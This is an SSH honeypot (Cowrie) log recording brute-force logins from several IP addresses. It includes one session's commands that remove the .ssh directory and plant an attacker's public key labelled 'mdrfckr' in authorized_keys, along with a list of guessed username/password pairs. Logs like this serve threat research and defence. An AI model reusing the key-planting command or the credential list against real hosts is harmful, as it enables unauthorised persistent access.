{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:11.193912Z","src_ip":"42.200.78.78","session":"7bd725a3d316","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:11.196812Z","src_ip":"42.200.78.78","session":"7bd725a3d316","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:11.199837Z","src_ip":"42.200.78.78","session":"7bd725a3d316","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:11.422917Z","src_ip":"42.200.78.78","session":"7bd725a3d316","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:11.885219Z","src_ip":"42.200.78.78","session":"7bd725a3d316","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:11.887636Z","src_ip":"42.200.78.78","session":"7bd725a3d316","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:12.111063Z","src_ip":"42.200.78.78","session":"7bd725a3d316","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:12.114593Z","src_ip":"42.200.78.78","session":"7bd725a3d316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":46900,"dst_ip":"10.17.0.5","dst_port":22,"session":"209b511520cb","protocol":"ssh","message":"New connection: 42.200.78.78:46900 (10.17.0.5:22) [session: 209b511520cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:12.328333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:12.333363Z","src_ip":"42.200.78.78","session":"209b511520cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:12.553845Z","src_ip":"42.200.78.78","session":"209b511520cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:13.468461Z","src_ip":"42.200.78.78","session":"209b511520cb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"dark","message":"login attempt [root/dark] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:14.546955Z","src_ip":"101.126.82.218","session":"9508b92441ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:14.692349Z","src_ip":"42.200.78.78","session":"209b511520cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":47752,"dst_ip":"10.17.0.5","dst_port":22,"session":"4598b772641a","protocol":"ssh","message":"New connection: 42.200.78.78:47752 (10.17.0.5:22) [session: 4598b772641a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:14.896814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:14.900644Z","src_ip":"42.200.78.78","session":"4598b772641a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:15.114877Z","src_ip":"42.200.78.78","session":"4598b772641a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:16.003840Z","src_ip":"42.200.78.78","session":"4598b772641a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:16.219853Z","src_ip":"42.200.78.78","session":"4598b772641a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:16.225046Z","src_ip":"42.200.78.78","session":"7bd725a3d316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":49728,"dst_ip":"159.203.135.109","dst_port":22,"session":"5481ee0b5404","protocol":"ssh","message":"New connection: 92.118.39.95:49728 (159.203.135.109:22) [session: 5481ee0b5404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:47.076508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:47.081067Z","src_ip":"92.118.39.95","session":"5481ee0b5404","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:47.252416Z","src_ip":"92.118.39.95","session":"5481ee0b5404","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minima","password":"minima","message":"login attempt [minima/minima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:47.563414Z","src_ip":"92.118.39.95","session":"5481ee0b5404","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:53:48.669616Z","src_ip":"92.118.39.95","session":"5481ee0b5404","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":45690,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9ca3d5a3450","protocol":"ssh","message":"New connection: 2.57.122.96:45690 (159.203.135.109:22) [session: f9ca3d5a3450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:54:09.025569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:54:09.029251Z","src_ip":"2.57.122.96","session":"f9ca3d5a3450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:54:09.137324Z","src_ip":"2.57.122.96","session":"f9ca3d5a3450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"raydium","message":"login attempt [solana/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:54:09.435497Z","src_ip":"2.57.122.96","session":"f9ca3d5a3450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:54:10.536892Z","src_ip":"2.57.122.96","session":"f9ca3d5a3450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.196.64.198","src_port":35150,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf4cb65f8dda","protocol":"ssh","message":"New connection: 20.196.64.198:35150 (10.17.0.5:22) [session: cf4cb65f8dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:54:49.036804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:54:49.041557Z","src_ip":"20.196.64.198","session":"cf4cb65f8dda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:54:49.228227Z","src_ip":"20.196.64.198","session":"cf4cb65f8dda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"ftpuser1123","message":"login attempt [ftpuser1/ftpuser1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:54:50.025835Z","src_ip":"20.196.64.198","session":"cf4cb65f8dda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:54:51.214774Z","src_ip":"20.196.64.198","session":"cf4cb65f8dda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":35002,"dst_ip":"10.17.0.5","dst_port":22,"session":"47fff54b11cc","protocol":"ssh","message":"New connection: 92.118.39.76:35002 (10.17.0.5:22) [session: 47fff54b11cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:55:06.786751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:55:06.791281Z","src_ip":"92.118.39.76","session":"47fff54b11cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:55:06.891378Z","src_ip":"92.118.39.76","session":"47fff54b11cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:55:07.192906Z","src_ip":"92.118.39.76","session":"47fff54b11cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:55:08.296783Z","src_ip":"92.118.39.76","session":"47fff54b11cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":39452,"dst_ip":"159.203.135.109","dst_port":22,"session":"445918fd7b00","protocol":"ssh","message":"New connection: 92.118.39.95:39452 (159.203.135.109:22) [session: 445918fd7b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:56:02.612283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:56:02.616565Z","src_ip":"92.118.39.95","session":"445918fd7b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:56:02.720481Z","src_ip":"92.118.39.95","session":"445918fd7b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mina","password":"mina","message":"login attempt [mina/mina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:56:03.079353Z","src_ip":"92.118.39.95","session":"445918fd7b00","protocol":"ssh"}
